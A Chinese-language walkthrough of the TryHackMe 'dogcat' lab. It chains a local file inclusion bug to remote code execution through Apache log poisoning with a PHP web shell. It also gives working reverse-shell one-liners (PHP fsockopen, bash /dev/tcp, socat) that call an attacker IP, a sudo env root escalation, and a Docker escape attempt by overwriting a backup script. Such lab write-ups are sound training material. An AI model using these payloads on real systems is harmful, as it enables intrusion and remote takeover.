dogcat
来自tryhackme的一个靶场,启动环境后在80端口上访问到一个web服务,点击查看是一个显示动物图片的功能。
http://10.10.175.143/?view=dog
给参数来个单引号查看变化,发现报错,并且从报错上看,明显是文件读取拼接文件后缀名,所以此处可能存在一个文件读取漏洞。
http://10.10.175.143/?view=dog%27
再尝试添加一个%00来截断后缀,发现没有后缀显示,应该是已经截断。
http://10.10.175.143/?view=dog%27%00
尝试读取本地文件的时候发现只能读取dog和cat的文件,猜测可能是由于判断请求中是否含有相关字段
再%00后面添加dog字段发现可以绕过,说明是判断是否存在字符串,只不过发现读取文件的时候并不能正常读取。include_path在任何文件中都可以直接引入该目录下文件,被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找
绕了一圈发现是错误是文件读取上的错误,不能识别文件,说明截断失败,再关注一下php版本发现是7系统,php已经修复%00的文件截断。所以需要一个不截断正常去读取的操作,没有在意php版本导致绕一圈。
调用的时候发现一个报错是多次调用导致重复声明,说明index包含很可能是成功的。
利用php协议来读取文件,尝试php://filter,可以读取到文件内容
/?view=php://filter/read=convert.base64-encode/resource=dog/../index
解码后index的内容为
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
存在一个参数ext是获取后缀的,判断是否存在后缀,存在的话拼接参数后缀,构造一个文件读取为地址,也可以ext置为空。
/?view=/dog/../etc/&ext=passwd
/?view=/dog/../etc/passwd&ext=
然后现在需要考虑的就是如果把本地文件读取来获取rce。
想试一下从/proc/self/environ
来获取,发现文件没有权限,尝试别的目录,发现可以读取日志。
/?view=/dog/../var/log/apache2/access.log&ext=&aaa=<?=phpinfo();?>
由于使用bp的时候编码和特殊符号会导致写入错误,所以使用curl写一句话
curl -v "http://10.10.136.89/<?php system($_GET\['cmd'\]);?>"
反弹一个shell回来
php+-r+'$sock=fsockopen("10.6.xx.xx",8877);exec("/bin/sh+-i+<%263+>%263+2>%263");'
获取权限后,查看一下sudo权限,env命令可以显示当前用户的环境变量
利用sudo env /bin/bash
获取一个root权限
搜了一圈发现只有三个flag,flag4并不在,查了一下根目录发现.dockerenv
,这是个docker环境,所以可能需要docker逃逸一下?
先升级一个可交互的shell来操作,docker不带python环境和socat,所以先传一个socat上去。主机不带wget,使用curl
curl -o socat http://10.6.xx.xx:8000/socat
再docker上执行
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.6.xx.xx:4444
在自己监听主机上执行
./socat file:`tty`,raw,echo=0 tcp-listen:4444
再试一手CVE-2016-5195,https://github.com/scumjr/dirtycow-vdso
发现还是不行,查看一下系统上有没有可以利用的文件
在/opt/
下找到一个backups目录,里面有一个备份的sh脚本。执行的是/root/container目录的备份,但是docker主机并没有这个目录,所以可能是外部主机上的目录。尝试修改反弹shell
echo "bash -i >& /dev/tcp/10.6.xx.xx/8855 0>&1" > /opt/backups/backup.sh
里面的tar包也可以看到。确实是docker的web代码。寻思可能是外部主机上的定时脚本,不过等了半天也没反应。